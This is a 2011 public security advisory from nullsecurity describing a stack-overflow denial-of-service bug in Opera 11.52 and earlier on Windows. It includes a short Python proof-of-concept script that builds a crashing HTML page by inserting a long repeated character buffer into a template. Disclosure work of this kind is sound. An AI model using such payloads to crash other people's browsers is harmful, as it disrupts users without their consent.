===============================================================================
| |
~ .__ °.__ 0 o ^ .__ °__ `´
°____) __ __| | | °| ______°____ 0 ____ __ _________|__|/ |_ ___.__.
/ \| | °\ |°| | °/ ___// __ \_/ ___\| | °\_ __ \ o\ __< | |
| o°| \ | / |_| |__\___ \\ ___/\ °\___| o| /| | \/ || |° \___ O|
|___| /____/|____/____/____ °>\___ >\___ >____/ |__|° |__||__| / ____|
`´´`´\/´`nullsecurity team`´\/`´´`´\/`´``´\/ ``´```´```´´´´`´``0_o\/´´`´´
PUBLIC SECURITY ADVISORY
| |
===============================================================================
~|Title|:
Opera Denial of Service PoC (Stack Overflow)
~|Author|:
pigtail23
~|Date|:
10-19-2011
~|Vendor|:
Opera - http://www.opera.com/
~|Affected Product|:
Opera <= 11.52
~|Affected Platforms|:
Windows (XP, Vista, 7)
~|Vulnerability Class|:
Denial of Service
~|Description|:
It's a stack overflow. So you can't overwrite any EIP or SEH.
~|Proof of Concept (or Exploit)|:
##################################
poc.html:
##################################
Python script 4 debugging (U will need this):
#!/usr/bin/python
content = open('template.html', 'r').read()
filename = 'poc.html'
pattern = 'HelloMrStack!'
buff = '%/' + pattern + '&&[' * 10000
rc = 1041
content2 = content[:rc] + buff + content[rc:]
FILE = open(filename,"w")
FILE.write(content2)
FILE.close()
print "\nLet it crash baby!\n"
##################################
template.html:
##################################
~|Impact|:
You can only provoke a crash of the Opera process.
~|Threat Level|:
low
~|Status|:
Not fixed.
~|Disclaimer|:
nullsecurity.net hereby emphasize, that the information which is published here are
for education purposes only. nullsecurity.net does not take any responsibility for
any abuse or misusage!
Copyright (c) 2011 - nullsecurity.net